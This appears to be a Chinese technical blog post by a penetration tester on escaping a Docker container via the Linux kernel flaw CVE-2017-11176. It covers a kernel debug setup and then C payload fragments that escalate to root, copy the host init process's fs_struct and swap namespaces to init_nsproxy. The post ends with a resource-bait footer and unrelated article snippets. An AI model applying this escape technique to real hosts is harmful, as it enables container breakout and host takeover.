22岁精神小伙居然利用 Linux 内核漏洞实现 Docker 逃逸!!

Install CentOS Plus kernel (kernel-plus) Install CentOS Plus kernel 阅读详情

1 前言

Docker是时下使用范围最广的开源容器技术之一,具有高效易用等优点。由于设计的原因,Docker天生就带有强大的安全性,甚至比虚拟机都要更安全,但如此的Docker也会被人攻破,Docker逃逸所造成的影响之大几乎席卷了全球的Docker容器。

下面是网上找的一张docker的架构图。

 

近些年,Docker逃逸所利用的漏洞大部分都发生在shim和runc上,每一次出现相关漏洞都能引起相当大的关注。

除了Docker本身组件的漏洞可以进行Docker逃逸之外,Linux内核漏洞也可以进行逃逸。因为容器的内核与宿主内核共享,使用Namespace与Cgroups这两项技术,使容器内的资源与宿主机隔离,所以Linux内核产生的漏洞能导致容器逃逸。

本文就来尝试利用一个内核漏洞在最新版的Docker上实现逃逸。

2 内核调试环境搭建

因为是利用Linux内核漏洞进行Docker逃逸,内核调试环境搭建是必不可少的,已经熟悉Linux内核调试的读者可以跳过这节。

本文的测试操作系统环境是:

虚拟机:vmware workstation 16
linux发行版:Centos 7.2.1511 2个CPU 2G内存
linux内核(使用uname -r查看):3.10.0-327.el7.x86_64

2.1 下载安装指定的内核版本对应的符号包

自己去网上找对应的内核符号包下载安装

安装命令

    sudo rpm -i kernel-debuginfo-3.10.0-327.el7.x86_64.rpm
    sudo rpm -i kernel-debuginfo-common-x86_64-3.10.0-327.el7.x86_64.rpm

2.2 下载指定的内核版本对应的源码包

得自己去网上找对应的内核源码包下载

    kernel-3.10.0-327.el7.src.rpm

2.3 grub配置

安装好内核和内核符号包之后就可以去/boot/grub2/grub.cfg里复制指定内核的menuentry

    sudo gedit /boot/grub2/grub.cfg

将复制的menuentry粘贴到/etc/grub.d/40_custom文件中

    sudo gedit /etc/grub.d/40_custom

在linux16启动命令这一行后面添加一行指令

    kgdbwait kgdb8250=io,03f8,ttyS0,115200,4 kgdboc=ttyS0,115200 kgdbcon

如下例子:

    #!/bin/sh
    exec tail -n +3 $0
    # This file provides an easy way to add custom menu entries.  Simply type the
    # menu entries you want to add after this comment.  Be careful not to change
    # the 'exec tail' line above.
    menuentry '(Debug)' --class centos --class gnu-linux --class gnu --class os --unrestricted $menuentry_id_option  {
            load_video
            set gfxpayload=keep
            insmod gzio
            insmod part_msdos
            insmod xfs
            set root='hd0,0'
            if [ x$feature_platform_search_hint = xy ]; then
            search --no-floppy --fs-uuid --set=root e1fba75c-a2c9-4f39-9446-34a78704a68e
            else
            search --no-floppy --fs-uuid --set=root e1fba75c-a2c9-4f39-9446-34a78704a68e
            fi
            linux16 /vmlinuz-3.10.0-327-generic root=UUID=e1fba75c-a2c9-4f39-9446-34a78704a68e ro acpi=off quiet LANG=en_US.UTF-8 kgdbwait kgdb8250=io,03f8,ttyS0,115200,4 kgdboc=ttyS0,115200 kgdbcon
            initrd16 /boot/initrd.img-3.10.0-327-generic
    }

要想在调试中关闭kaslr可以加上nokaslr,要想在本次调试中关闭smep可以加上nosmep,要想在本次调试中关闭smap可以加上nosmap,要想在本次调试中关闭KPTI可以加上nopti

    kgdbwait kgdb8250=io,03f8,ttyS0,115200,4 kgdboc=ttyS0,115200 kgdbcon nokaslr nosmep nosmap nopti

复制粘贴修改保存好后执行

    sudo grub2-mkconfig -o /boot/grub2/grub.cfg

2.4 虚拟机设置

2.4.1 host & target

将安装好指定内核,指定内核符号包以及指定内核源码包的虚拟机复制一份,一份作为host,一份作为target,之后在target上执行exp,在host上对target进行调试

在host上添加串行端口

    -移除打印机,添加串行端口,管道名//./pipe/com_1,该端是客户端,另一端是虚拟机

在target上添加串行端口

    -移除打印机,添加串行端口,管道名//./pipe/com_1,该端是服务器端,另一端是虚拟机

2.4.2 开始调试

1.先正常启动host
2.再启动target,不过启动的时候需要在grub时选择我们之前在/etc/grub.d/40_custom添加的调试内核,它正常会显示在grub选择中的,选择好后,target会显示等待附加调试界面
3.在host的shell中执行以下gdb命令附加target调试

gdb -s /usr/lib/debug/lib/modules/3.10.0-327.el7.x86_64/vmlinux
set architecture i386:x86-64:intel
add-symbol-file /usr/lib/debug/lib/modules/3.10.0-327.el7.x86_64/vmlinux 0xffffffff81000000
set serial baud 115200
target remote /dev/ttyS0 nsproxy;

以上步骤就完成了内核环境搭建,下面开始进入正题,利用内核漏洞进行Docker逃逸。

3 利用内核漏洞进行Docker逃逸

本文使用的内核漏洞为CVE-2017-11176,这个漏洞网上有很多人分析过了,在利用它进行docker逃逸前提是已经将这个漏洞适配到当前的系统中,即能成功提权。本文不关注内核漏洞的利用,默认已经适配成功。

 

本文的Docker容器逃逸测试环境是:

虚拟机:vmware workstation 16
linux发行版:Centos 7.2.1511 2个CPU 2G内存
linux内核(使用uname -r查看):3.10.0-327.el7.x86_64
Docker(最新版):20.10.7
使用的Linux内核漏洞:CVE-2017-11176

3.1 安装最新版的Docker

1.安装工具
sudo yum install -y yum-utils device-mapper-persistent-data lvm2

2.设置阿里镜像,访问速度更快一些
sudo yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo

3.更新yum缓存
sudo yum makecache fast

4.查看可用的社区版
yum list docker-ce --showduplicates | sort -r

5.安装指定版本的docker,选择最新版
sudo yum install -y docker-ce-20.10.7-3.el7

6.关闭防火墙
systemctl disable firewalld
systemctl stop firewalld

7.设置docker开机自启动
systemctl start docker
systemctl enable docker

8.查看docker版本
$ docker version
Client: Docker Engine - Community
 Version:           20.10.7
 API version:       1.41
 Go version:        go1.13.15
 Git commit:        f0df350
 Built:             Wed Jun  2 11:58:10 2021
 OS/Arch:           linux/amd64
 Context:           default
 Experimental:      true

Server: Docker Engine - Community
 Engine:
  Version:          20.10.7
  API version:      1.41 (minimum version 1.12)
  Go version:       go1.13.15
  Git commit:       b0f5bc3
  Built:            Wed Jun  2 11:56:35 2021
  OS/Arch:          linux/amd64
  Experimental:     false
 containerd:
  Version:          1.4.6
  GitCommit:        d71fcd7d8303cbf684402823e425e9dd2e99285d
 runc:
  Version:          1.0.0-rc95
  GitCommit:        b9ee9c6314599f1b4a7f497e1f1f856fe433d3b7
 docker-init:
  Version:          0.19.0
  GitCommit:        de40ad0

3.2 逃逸开始

3.2.1 获得了"root"

先创建并启动一个容器

# docker run --restart=always -it --name=docker_escape centos:latest /bin/bash                                  
Unable to find image 'centos:latest' locally
latest: Pulling from library/centos
7a0437f04f83: Pull complete 
Digest: sha256:5528e8b1b1719d34604c87e11dcd1c0a20bedf46e83b5632cdeac91b8c04efc1
Status: Downloaded newer image for centos:latest
[root@f165d7d75c72 /]#

将漏洞利用程序复制到容器中

# docker cp exploit f165d7d75c72:/tmp
在容器内创建一个普通权限的用户test,然后执行漏洞利用程序
[root@f165d7d75c72 /]# adduser test
[root@f165d7d75c72 /]# su test
[test@f165d7d75c72 /]$ cd tmp/
[test@f165d7d75c72 /]$ ./exploit

在执行完漏洞利用程序后,我们获得了root shell

 

我们确实在容器内从普通权限提升到了root权限,但是这和宿主机里的root权限是一样的么?

我们查看一下进程列表以及尝试打印/home/test目录下的内容

 

很明显我们没有获得宿主机的root权限,我们依旧被困在了容器内。这是为什么呢?

3.2.2 替换fs_struct结构

目前我们的漏洞利用程序里只是获取了root权限

static void getroot(void)
{
    commit_creds(prepare_kernel_cred(NULL));
}

这个root权限还只是限制在容器内。

让我们看看Linux kernel 内管理进程的结构task_struct

struct task_struct {
    /* ... */
    /*
     * Pointers to the (original) parent process, youngest child, younger sibling,
     * older sibling, respectively.  (p->father can be replaced with
     * p->real_parent->pid)
     */

    /* Real parent process: */
    struct task_struct __rcu    *real_parent;

    /* Recipient of SIGCHLD, wait4() reports: */
    struct task_struct __rcu    *parent;
    /* ... */
    /* Filesystem information: */
    struct fs_struct        *fs;
    /* ... */
}

可以看到有一个struct fs_struct *fs结构指针,它的描述为Filesystem information。再看看struct fs_struct的内容

struct fs_struct {
    int users;
    spinlock_t lock;
    seqcount_t seq;
    int umask;
    int in_exec;
    struct path root, pwd;
} __randomize_layout;

这个结构中的struct path root, pwd就是代表当前进程的根目录以及工作目录。

task_struct->fs 存放着进程根目录以及工作目录,而我们能够用 task_struct->real_parent 回溯取得父进程的 task_struct,我们不断往上回溯,直到找到定位到pid=1的进程,也就是当前这个容器在宿主机中的初始进程,把这个初始进程的fs_struct复制到我们的利用程序进程,就可以将我们的漏洞利用进程的根目录设置到宿主机中了!

代码体现如下

static void getroot(void)
{
    commit_creds(prepare_kernel_cred(NULL));//将当前进程设置为root权限

    void * userkpid = find_get_pid(userpid);
    struct task_struct *mytask = pid_task(userkpid,PIDTYPE_PID);//获取当前进程的task_struct结构体

    //循环编译task_struct链,找到pid=1的进程的task_struct的结构体
    char *task;
    char *init;
    uint32_t pid_tmp = 0;
    task = (char *)mytask;
    init = task;
    while (pid_tmp != 1) {
          init = *(char **)(init + TASK_REAL_PARENT_OFFSET);
          pid_tmp = *(uint32_t *)(init + TASK_PID_OFFSET);
    }

    //将pid=1的task struct的fs_struct结构复制为当前进程的fs_struct
    *(uint64_t *)((uint64_t)mytask + TASK_FS_OFFSET) = copy_fs_struct(*(uint64_t *)((uint64_t)init + TASK_FS_OFFSET));
}

用 while循环不断回溯task_struct->real_parent找到Init process,之后调用copy_fs_struct函数把 fs_struct复制到漏洞利用进程,就能进入宿主机的目录了。

在漏洞利用程序中添加完上面的代码,我们再一次执行漏洞利用程序。

 

显然我们已经跑到宿主机中来了,已经实现了容器逃逸。本文基本到此结束了。

关机下班!但是当我们准备执行shutdown -h now命令时,发现找不到shutdown命令。

 

从图中可以看到我们也无法kill掉任何进程,也无法执行一些命令。虽然我们已经逃逸成功了,但是出现的这些小问题又是什么原因导致的呢?

shutdown找不到可以理解,shutdown是在/sbin目录下,这里是环境变量没有设置的原因,所以找不到shutdown,可以通过/sbin/shutdown直接执行。

3.2.3 突破namesapce

Linux 容器利用了 Linux 命名空间的基本虚拟化概念。命名空间是 Linux 内核的一个特性,它在操作系统级别对内核资源进行分区。Docker 容器使用 Linux 内核命名空间来限制任何用户(包括 root)直接访问机器的资源。

有没有可能是因为namespace限制的呢?如果是namespace的原因,那有没有办法改变漏洞利用进程的namespace呢?

通过查找资料,找到了一种切换namespace的方案。

命名空间在内核里被抽象成为一个数据结构 struct nsproxy, 其定义如下

struct nsproxy {
    atomic_t count;
    struct uts_namespace *uts_ns;
    struct ipc_namespace *ipc_ns;
    struct mnt_namespace *mnt_ns;
    struct pid_namespace *pid_ns_for_children;
    struct net          *net_ns;
    struct time_namespace *time_ns;
    struct time_namespace *time_ns_for_children;
    struct cgroup_namespace *cgroup_ns;
};

在task_struct结构中,存在一项struct nsproxy *nsproxy指向当前进程所属的namespace。

struct task_struct {
    ......
    /* namespaces */
    struct nsproxy *nsproxy;
    ......
}

与上一节替换fs_struct结构相似,我们需要想办法替换这个结构。

系统初始化时,会初始化一个全局的命名空间,init_nsproxy。替换方案就是将漏洞利用进程的nsproxy替换为init_nsproxy。

代码体现如下

static void getroot(void)
{
    commit_creds(prepare_kernel_cred(NULL));//将当前进程设置为root权限

    void * userkpid = find_get_pid(userpid);
    struct task_struct *mytask = pid_task(userkpid,PIDTYPE_PID);//获取当前进程的task_struct结构体

    //循环编译task_struct链,找到pid=1的进程的task_struct的结构体
    char *task;
    char *init;
    uint32_t pid_tmp = 0;
    task = (char *)mytask;
    init = task;
    while (pid_tmp != 1) {
          init = *(char **)(init + TASK_REAL_PARENT_OFFSET);
          pid_tmp = *(uint32_t *)(init + TASK_PID_OFFSET);
    }

    //将pid=1的task struct的fs_struct结构复制为当前进程的fs_struct
    *(uint64_t *)((uint64_t)mytask + TASK_FS_OFFSET) = copy_fs_struct(*(uint64_t *)((uint64_t)init + TASK_FS_OFFSET));

    //切换当前进程的namespace为pid=1的进程的namespace
    unsigned long long g = find_task_by_vpid(1);
    switch_task_namespaces(( void *)g, (void *)INIT_NSPROXY);
    long fd_mnt = do_sys_open( AT_FDCWD, "/proc/1/ns/mnt", O_RDONLY, 0);
    setns( fd_mnt, 0);
    long fd_pid = do_sys_open( AT_FDCWD, "/proc/1/ns/pid", O_RDONLY, 0);
    setns( fd_pid, 0);
}

上述替换namespace的代码部分,就是先将容器中pid=1的进程的namespace用switch_task_namespaces函数替换为init_nsproxy,之后漏洞程序进程再执行setns函数加入pid=1的进程的namespace,相当于加入init_nsproxy。

switch_task_namespaces函数代码如下

void switch_task_namespaces(struct task_struct *p, struct nsproxy *new)
{
    struct nsproxy *ns;

    might_sleep();

    task_lock(p);
    ns = p->nsproxy;
    p->nsproxy = new;
    task_unlock(p);

    if (ns)
        put_nsproxy(ns);
}

switch_task_namespaces这个函数就是将参数一struct task_struct *p的namespace修改为参数二传进来的namespace。

在漏洞利用程序中添加完上面的代码,我们再一次执行漏洞利用程序。

 

当梦想照进现实,你满怀期待迎接阳光,现实却给你泼了一滩冰水。

很遗憾,没有成功突破namesapce。:(

是什么原因呢?我修改上述漏洞程序代码

static void getroot(void)
{
    commit_creds(prepare_kernel_cred(NULL));//将当前进程设置为root权限

    void * userkpid = find_get_pid(userpid);
    struct task_struct *mytask = pid_task(userkpid,PIDTYPE_PID);//获取当前进程的task_struct结构体

    //循环编译task_struct链,找到pid=1的进程的task_struct的结构体
    char *task;
    char *init;
    uint32_t pid_tmp = 0;
    task = (char *)mytask;
    init = task;
    while (pid_tmp != 1) {
          init = *(char **)(init + TASK_REAL_PARENT_OFFSET);
          pid_tmp = *(uint32_t *)(init + TASK_PID_OFFSET);
    }

    //将pid=1的task struct的fs_struct结构复制为当前进程的fs_struct
    *(uint64_t *)((uint64_t)mytask + TASK_FS_OFFSET) = copy_fs_struct(*(uint64_t *)((uint64_t)init + TASK_FS_OFFSET));

    //切换当前进程的namespace为pid=1的进程的namespace
    unsigned long long g = find_task_by_vpid(userpid);
    switch_task_namespaces(( void *)g, (void *)INIT_NSPROXY);
}

直接切换当前进程的namespace。并且在漏洞程序完成利用从内核退出时通过命令ls /proc/$(userpid)/ns -lia打印当前进程的namespace,将结果与宿主机中高权限进程的namespace对比。

 

可以看到,我们成功替换了namespace。

继续在漏洞程序完成利用从内核退出时通过命令ls /home/test打印目录内容,发现可以看到宿主机的文件,说明我们逃逸成功了

 

继续在漏洞程序完成利用从内核退出时通过命令kill -9 pid尝试kill掉某个我们事先已知的进程,测试发现我们也可以成功kill掉,说明我们成功突破了namespace。

只是在漏洞程序结尾时调用execve弹root shell时会失败,暂时不能弹出一个方便操作的root shell。

虽然我这边没有成功弹出一个方便的root shell,原因暂时没有分析出来,但这个思路是可行的。查阅资料时有人在ubuntu上测试成功了,估计和我测试时的操作系统有关,需要进一步分析。

3.3 一般步骤

经过上述的一系列尝试,我们可以总结一下利用内核漏洞进行容器逃逸的一般步骤。

1.使用内核漏洞进入内核上下文2.获取当前进程的task struct3.回溯task list 获取pid=1的task struct,复制其fs_struct结构数据为当前进程的fs_struct。fs_struct结构中定义了当前进程的根目录和工作目录。4.切换当前namespace。Docker使用了Linux内核名称空间来限制用户(包括root)直接访问机器资源。5.打开root shell,完成逃逸

4 结语

本文介绍了利用Linux内核漏洞进行Docker容器逃逸,使用的漏洞是CVE-2017-11176,在最新版的docker上逃逸成功了。虽然在突破namespace的限制时遇到了一点小问题,但本次基本实现了利用Linux内核漏洞完成Docker容器逃逸,希望这篇文章给能大家带来一些帮助。

5 福利分享

在这里插入图片描述

看到这里的大佬,动动发财的小手 点赞 + 回复 + 收藏,能【 关注 】一波就更好了

我是一名渗透测试工程师,为了感谢读者们,我想把我收藏的一些网络安全/渗透测试学习干货贡献给大家,回馈每一个读者,希望能帮到你们。

干货主要有:

①2000多本网安必看电子书(主流和经典的书籍应该都有了)

②PHP标准库资料(最全中文版)

③项目源码(四五十个有趣且经典的练手项目及源码)

④ 网络安全基础入门、Linux运维,web安全、渗透测试方面的视频(适合小白学习)

⑤ 网络安全学习路线图(告别不入流的学习)

⑥ 渗透测试工具大全

⑦ 2021网络安全/Web安全/渗透测试工程师面试手册大全

各位朋友们可以关注+评论一波 然后扫描下方二妈  备注:优快云  即可免费获取全部资料

 

 

linux crash内核故障分析工具 kdump一般与crash工具联合使用,以便在故障发生的时候,进行问题追踪 配置kdump: yum install kexec-tools 修改grub: GRUB_CMDLINE_LINUX 中添加crashkernel=auto #vim /etc/default/grub GRUB_CMDLINE_LINUX="crashkernel=auto console=ttyS0 conso... 阅读详情

相关推荐

Kernel:自己引入的gcc 插件;attribute, randomize_layout & no_randomize_layout

编译用到的种子信息在文件scripts/gcc-plgins/randomize_layout_seed.h。即使“make clean”之后,这个文件依然存在,因为后续的内核模块的编译需要这个文件。当然打开了这个之后,会影响性能,而且会略微增加内存使用。不过益处就是,(除非在内核编译之后,没有清理源文件)阻止类似于Volatility的工具攻击系统。RHEL 没有打开此配置。这一就会增强系统的安全性,需要额外的信息才能解码对应的结构体内存信息。注意需要gcc的版本是4.7 或者以后的版本。

mzhan017的博客 683

系统:Centos 7.2 内核3.10.0-327.el7.x86_64 # 内核需要高于2.6.32

系统:Centos 7.2 内核3.10.0-327.el7.x86_64 # 内核需要高于2.6.32 Drbd : 192.168.8.111:node1/dev/drdb0 /mydeta 192.168.8.112 : node2Mysql_vip: 192.168.8.200 #下章实现 # 需要的软件包:mariadb-5.5.53-linux-i686.tar.gzdr...

weixin_30954265的博客 952

kernel-plus-devel-3.10.0-1127.el7.centos.plus.x86_64.rpm

Centos7中kernel-plus-devel-3.10.0-1127.el7内核所有相关的rpm文件

Linux字符设备驱动中的几个结构

强力推荐: https://www.cnblogs.com/chen-farsight/p/6155518.html https://www.cnblogs.com/chen-farsight/p/6177870.html 一:struct cdev 在Linux内核中,使用cdev结构体来描述一个字符设备,cdev结构体的定义如下: struct cdev { struct kob...

hhhhhyyyyy8的博客 893

kernel-plus-3.10.0-1160.el7.centos.plus.x86_64.rpm

kernel-plus-3.10.0-1160.el7.centos.plus.x86_64.rpm

kernel-plus-headers-3.10.0-1160.6.1.el7.centos.plus.x86_64.rpm

kernel-plus-headers-3.10.0-1160.6.1.el7.centos.plus.x86_64.rpm

22岁精神小伙居然利用 Linux 内核漏洞实现 Docker 逃逸

1 前言 Docker是时下使用范围最广的开源容器技术之一,具有高效易用等优点。由于设计的原因,Docker天生就带有强大的安全性,甚至比虚拟机都要更安全,但如此的Docker也会被人攻破,Docker逃逸所造成的影响之大几乎席卷了全球的Docker容器。 下面是网上找的一张docker的架构图。 近些年,Docker逃逸所利用的漏洞大部分都发生在shim和runc上,每一次出现相关漏洞都能引起相当大的关注。 除了Docker本身组件的漏洞可以进行Docker逃逸之外,Linux内核漏洞也.

一口Linux的专栏 717

ADS Layout设计实战:从参数设置到协同仿真

本文详细介绍了ADS Layout设计的完整实战流程,从新建工程、单位设置、个性化偏好配置等基础操作入手,逐步深入到基板参数配置、端口设置与电磁仿真器选择等核心环节。重点阐述了参数化版图设计与扫描优化、以及原理图与Layout协同仿真的高级技巧,并通过一个微带线低通滤波器设计案例,完整演示了从理论到实现的闭环设计方法,帮助工程师高效、准确地完成高频电路版图设计与验证。

weixin_29268637的博客 797

Docker安装

[root@runoob ~]# uname -r 3.10.0-327.el7.x86_64 移除旧的版本: $ sudo yum remove docker \ docker-client \ docker-client-latest \ docker-common \ docker-latest \ docker-latest-logrotate \ docker-logrotate \ docker-selinux \ docker-engine-selinux \ docker-engine

泸西凉米线的专栏 133

App渗透 - 人脸识别登录绕过

一、APP抓包和逆向破解加密算法打开APP是一个登录框抓包后发现参数被加密了使用Jadx脱源码发现,并没有加壳也没有混淆,运气很好根据经验,先搜索Encrypt、Decrypt等关键字,发现在Common.js中有一个encryptData函数定位过去,一套加解密算法都写好了放在这放到浏览器console里面调试,果然没错二、寻找注入点首先测试了一下注入明文:{"userName":"TEST'...

渗透测试研究中心 2825

【SABRE 3D, SABRE 3DxT,LAM设备】2025年9月13日-安全配置-准备工作

请遵循本规程将SABRE 3D/3DxT/3D Scimitar系统设置为安全配置,以便能够在电镀单元、APT模块、XMM(或SRD)模块、工厂接口(FI)外壳或中央通道内部及周边区域执行作业p104-p117。在生产过程中暂停调度程序存在一定风险:若待维护模块未离线且在其他模块完成处理前重启调度程序,可能对生产晶圆造成影响。维护人员需特别注意电镀模块内的晶圆状态,并尽可能快速地恢复调度程序。确认待维护模块内无晶圆滞留暂停调度程序并将相应模块设置为离线状态打开模块检修门并关闭安全盖板(槽位)

weixin_46735260的博客 1368

一文秒懂|Linux字符设备驱动

字符设备驱动相关数据结构数据结构关系图核心API接口字符设备驱动整体框架为了帮助大家更好的学习网络安全,小编给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂,所有资料共282G,朋友们如果有需要全套网络安全入门+进阶学习资源包,可以点击免费领取(如遇扫码问题,可以在评论区留言领取哦)~😝有需要的小伙伴,可以点击下方链接免费领取或者V扫描下方二维码免费领取🆓👉优快云大礼包🎁:全网最全《网络安全入门&进阶学习包》免费分享。

瓦罗兰特顶级C位的博客 1385

从‘全步’到‘微步’:一张图看懂步进电机细分控制,选对模式让你的项目更丝滑

本文深入解析步进电机细分控制技术,从全步到微步的演进过程,帮助工程师根据项目需求选择最优控制模式。通过对比不同细分等级的性能特点和应用场景,提供3D打印、实验室自动化等领域的黄金配置方案,实现更精准、平稳的电机控制效果。

weixin_29290259的博客 471

Linux系统调用open函数分析

走马观花: Linux 系统调用 open 七日游(一)-qh997-ChinaUnix博客 走马观花: Linux 系统调用 open 七日游(二)-qh997-ChinaUnix博客 走马观花: Linux 系统调用 open 七日游(三)-qh997-ChinaUnix博客

ask_true的博客 703

【部署优化篇三】《DeepSeek边缘计算实战:把目标检测模型塞进树莓派,让AI在巴掌大的设备上“开天眼“》

谁说只有超级计算机才能跑AI?今天咱们就要在树莓派上玩转DeepSeek目标检测,让这个巴掌大的小盒子变成会‘看’世界的智能终端!本文手把手教你从零开始,把最潮的目标检测模型塞进树莓派。全程高能预警,建议准备好你的树莓派4B/5和散热风扇,咱们这就开启边缘计算的魔法之旅!

商务合作|问题讨论|交流学习 请联系作者微信,加微信请务必注明来意,博客主页有联系方式 1306

52-Halcon-- smooth_object_model_3d函数功能(滑处理3D对象模型)

Halcon中smooth_object_model_3d算子详解 该算子用于3D模型平滑处理,提供三种算法:'laplacian'(快速去噪)、'taubin'(高质量防收缩)和'low_pass'(频域滤波)。核心参数包括迭代次数(默认5)、平滑强度(0-1)和边缘保护选项。典型应用包括扫描数据去噪、CAD模型光顺和逆向工程优化。支持自适应平滑、结合模型简化等高级技巧,并可通过分块处理优化大型模型性能。参数组合需根据具体场景选择,如快速去噪推荐拉普拉斯方法(5次迭代,强度0.3),特征保持推荐低通滤波(

weixin_45590420的博客 873

Linux内核有什么之块设备驱动有什么第二回 —— 块设备驱动初始化流程 vs 字符设备驱动初始化流程

Linux内核有什么之块设备驱动有什么第二回 —— 块设备驱动初始化流程 vs 字符设备驱动初始化流程

phmatthaus的专栏 1687

RAP BDL 里的 field ( readonly ) 到底控制了什么?——从语法到运行时的全景解析

RAP行为定义中的只读字段控制 摘要:该代码片段展示的是RAP(ABAP RESTful Application Programming)行为定义语言(BDL)中的字段控制语法,用于声明业务对象中需由框架自动维护的只读字段。field ( readonly )语句将订单ID和审计字段(CreatedBy/CreatedAt等)标记为只读,确保这些字段在更新阶段不可修改。在managed场景下,RAP框架会自动处理这些行政性数据的写入:创建时填充创建信息,更新时刷新变更记录,并利用LocalLastChang

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 157

离线安装docker

https://www.cnblogs.com/luoSteel/p/10038954.html

qq_36497518的博客 203

从数据库到数据仓库:数据仓库导论

本文为数据仓库导论,旨在介绍数据仓库的基本理念和应用场景,帮助读者理解数据仓库的重要性及其在企业中的实际应用。

探索大数据世界 - 深入解析数据存储、分布式计算与人工智能 2784

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

linux 内核proc 文件系统与seq接口

linux 内核proc 文件系统与seq接口

一叶知秋的博客 1783

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

linux 内存管理(8) —内存描述符(mm_struct)

了解进程内存描述符mm_struct 1.概述   每个进程都只有一个mm_struct结构,该结构是对整个用户空间的描述。一个进程的虚拟地址空间主要由两个数据结来描述。 最高层次的:mm_struct,描述一个进程的整个虚拟地址空间。 较高层次的:vm_area_structs,描述虚拟地址空间的一个区间(简称虚拟区)。 内存管理大致结构: 2.mm_struct 结构体   task...

weixin_41028621的博客 5715

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

字符设备驱动(1)--设备文件、设备号、设备结构体、设备文件操作

按字节流形式进行数据读写的设备,一般情况下按顺序访问,数据量不大,一般不设缓存,比如键盘、鼠标。另外相对简单,大部分嵌入式下的设备都可以把它当成字符设备来看待,比如传感器、ADC等。存储类型的设备,按整块进行数据读写的设备,最小的块大小为512字节(一个扇区),块的大小必须是扇区的整数倍,Linux系统的块大小一般为4096字节,随机访问,设缓存以提高效率。比如:磁盘、光盘等。将各类服务器、PC、应用终端等节点相互连接,构成信息通信网络的专用硬件设备,针对网络数据收发的设备。

qq_40896451的博客 1473

内核漏洞利用:容器共享宿主机的内核,内核漏洞可能被利用来攻击整个系统

本文将探讨容器与宿主机之间的紧密耦合所引入的内核级安全风险,以及针对这些风险的潜在威胁. 我们还讨论了如何加强容器安全性并降低此类风险的可能性.

图幻未来的博客 521

notification源码分析_Linux内核CVE-2017-11176漏洞分析与复现

一、漏洞背景Linux内核中的POSIX 消息队列实现中存在一个UAF漏洞CVE-2017-11176。攻击者可以利用该漏洞导致拒绝服务或执行任意代码。本文将从漏洞成因、补丁分析以及漏洞复现等多个角度对该漏洞进行详细分析。二、漏洞分析Posix消息队列允许异步事件通知,当往一个空队列放置一个消息时,Posix消息队列允许产生一个信号或启动一个线程。这种异步事件通知调用mq_notify函数实现,m...

weixin_42105816的博客 408

docker安装(centos)

docker安装

weixin_43194612的博客 473
上一篇: 面试了两个月 我人都麻了....
下一篇: 【短小♂精悍】4步教你学会如何DDOS攻击与防护
AI小模型
博客等级 码龄6年 6863粉丝 487原创
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

AI小模型

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值